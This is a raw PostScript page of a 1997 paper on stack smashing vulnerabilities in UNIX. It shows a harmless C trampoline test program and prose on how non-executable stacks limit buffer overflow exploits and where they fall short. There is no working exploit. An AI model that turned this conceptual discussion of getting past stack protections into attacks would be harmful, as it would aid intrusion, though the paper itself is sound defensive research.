7519 1263 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1279 M ( abort \(\);) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 28 28 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 10000 M 1181 9896 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 10000 M 7519 9896 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1200 9912 M ( }) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9895 M 1181 9736 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9895 M 7519 9736 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9735 M 1181 9631 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9735 M 7519 9631 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9647 M ( i = 4;) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9630 M 1181 9526 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9630 M 7519 9526 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9542 M ( j = 3;) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9525 M 1181 9421 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9525 M 7519 9421 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9437 M ( if \(g \(5, 6, f3\) != 5\) {) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9420 M 1181 9316 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9420 M 7519 9316 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9332 M ( printf \("Trampoline call returned the wrong value\\n"\);) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9315 M 1181 9211 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9315 M 7519 9211 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9227 M ( fflush \(stdout\);) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9210 M 1181 9106 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9210 M 7519 9106 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9122 M ( abort \(\);) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9105 M 1181 9001 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9105 M 7519 9001 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9017 M ( }) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9000 M 1181 8896 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9000 M 7519 8896 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8912 M ( }) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8895 M 1181 8736 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8895 M 7519 8736 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8735 M 1181 8631 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8735 M 7519 8631 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8647 M ( int) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8630 M 1181 8526 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8630 M 7519 8526 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8542 M ( main \(void\)) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8525 M 1181 8421 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8525 M 7519 8421 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8437 M ( {) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8420 M 1181 8316 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8420 M 7519 8316 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8332 M ( printf \("Before trampoline call\\n"\);) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8315 M 1181 8211 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8315 M 7519 8211 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8227 M ( fflush \(stdout\);) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8210 M 1181 8106 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8210 M 7519 8106 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8122 M ( f \(\);) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8105 M 1181 8001 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8105 M 7519 8001 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8017 M ( printf \("Trampoline call succeeded\\n"\);) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8000 M 1181 7896 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8000 M 7519 7896 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7912 M ( fflush \(stdout\);) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7895 M 1181 7791 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7895 M 7519 7791 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7807 M ( return 0;) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7790 M 1181 7686 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7790 M 7519 7686 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7702 M ( }) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7685 M 1181 7512 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7685 M 7519 7512 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 7506 M 7523 7506 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3134 7375 M (Example 11.3.a - Trampoline Function in C) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 6946 M (Trampoline ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2539 6946 M (functions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3214 6946 M (execute ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3778 6946 M (function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4388 6946 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4758 6946 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5009 6946 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5314 6946 M (function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5924 6946 M (after ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6286 6946 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6416 6946 M (return\(\) ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6982 6946 M (call ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7278 6946 M (has ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6670 M (been ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1571 6670 M (given. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2071 6670 M (Most ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2460 6670 M (buffer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2915 6670 M (overflow ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3563 6670 M (exploit ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4071 6670 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4432 6670 M (depends ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5024 6670 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5237 6670 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5524 6670 M (') ST -4 0 MR (t) ST -4 0 MR (r) ST -4 0 MR (a) ST -5 0 MR (m) ST -5 0 MR (p) ST -5 0 MR (o) ST -5 0 MR (l) ST -5 0 MR (i) ST -5 0 MR (n) ST -5 0 MR (e) ST -5 0 MR (' ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6352 6670 M (function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6953 6670 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7139 6670 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7389 6670 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6394 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2211 6394 M (language, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2947 6394 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3170 6394 M (exploiting ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3937 6394 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4234 6394 M (return ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4726 6394 M (value ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5180 6394 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5413 6394 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5581 6394 M (function. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6313 6394 M (High ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6739 6394 M (level ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7156 6394 M (LISP ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6118 M (interpreters and objective C compilers also make extensive use of trampoline fun\ ctions.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 5842 M (Furthermore, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2693 5842 M (signal ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3201 5842 M (handler ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3811 5842 M (returns ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4385 5842 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4625 5842 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4939 5842 M (Linux ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5447 5842 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6186 5842 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6760 5842 M (require ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7343 5842 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5566 M (executable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1998 5566 M (stack. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2509 5566 M (Signal ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3019 5566 M (handlers ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3668 5566 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3957 5566 M (absolutely ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4725 5566 M (crucial ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5263 5566 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5477 5566 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5719 5566 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6432 5566 M (system, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7022 5566 M (thus, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7426 5566 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5290 M (temporary ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1938 5290 M (executable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2696 5290 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3085 5290 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3327 5290 M (signal ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3771 5290 M (handlers ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4382 5290 M (must ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4753 5290 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4957 5290 M (implemented. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5957 5290 M (Thus, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6379 5290 M (buffer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6834 5290 M (overflows ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5014 M (in signal handlers would still be possible using this temporarily executable sta\ ck.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 4738 M (By ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1958 4738 M (changing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2620 4738 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2876 4738 M (kernel ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3345 4738 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3740 4738 M (execution ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4439 4738 M (permissions, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5330 4738 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5475 4738 M (would ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5943 4738 M (stop ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6273 4738 M (most ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6650 4738 M (SUID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7092 4738 M (buffer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4462 M (overflows, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1963 4462 M (excluding ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2672 4462 M (those ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3077 4462 M (involving ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3767 4462 M (signal ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4218 4462 M (handlers. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4920 4462 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5094 4462 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5611 4462 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5960 4462 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6088 4462 M (non-executable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7158 4462 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4186 M (also ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1529 4186 M (hinders ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2069 4186 M (LISP ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2463 4186 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2753 4186 M (Objective ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3449 4186 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3610 4186 M (development ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4519 4186 M (efforts ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5005 4186 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5194 4186 M (well ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5530 4186 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5719 4186 M (other ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6111 4186 M (functional ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6835 4186 M (languages ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3910 M (might ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1641 3910 M (also ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1954 3910 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2156 3910 M (affected. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2822 3910 M (Furthermore, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3743 3910 M (every ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4158 3910 M (program ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4768 3910 M (contains ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5367 3910 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5726 3910 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6020 3910 M (performs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6668 3910 M (fundamental ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3634 M (operations ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1951 3634 M (such ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2303 3634 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2489 3634 M (saving ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2970 3634 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3257 3634 M (restoring ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3896 3634 M (values ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4368 3634 M (from ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4740 3634 M (CPU ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5111 3634 M (registers, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5765 3634 M (performs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6415 3634 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6925 3634 M (calls. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7361 3634 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3358 M (contrast ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1786 3358 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1969 3358 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2226 3358 M (formulated ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3011 3358 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3407 3358 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4090 3358 M (exploits ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4670 3358 M (available, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5366 3358 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5577 3358 M (attack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6028 3358 M (such ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6387 3358 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6580 3358 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6874 3358 M (would ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7343 3358 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3082 M (impossible ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1992 3082 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2182 3082 M (prevent ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2742 3082 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2969 3082 M (changing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3639 3082 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3903 3082 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4306 3082 M (execution ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5013 3082 M (privilege. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5749 3082 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5949 3082 M (other ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6352 3082 M (words, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6862 3082 M (removing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2806 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1472 2806 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1875 2806 M (execution ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2582 2806 M (permission ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3374 2806 M (only ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3730 2806 M (prevents ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4355 2806 M (t) ST -4 0 MR (o) ST -4 0 MR (d) ST -4 0 MR (a) ST -4 0 MR (y) ST -5 0 MR (') ST -5 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4880 2806 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5283 2806 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5973 2806 M (exploits ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6560 2806 M (from ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6946 2806 M (working ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2530 M (properly. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1905 2530 M (As ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2144 2530 M (exploits ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2724 2530 M (become ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3296 2530 M (more ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3693 2530 M (sophisticated, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4657 2530 M (\(see ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4980 2530 M (section ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5505 2530 M (9.1\) ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5823 2530 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6219 2530 M (execution ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6919 2530 M (bits ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 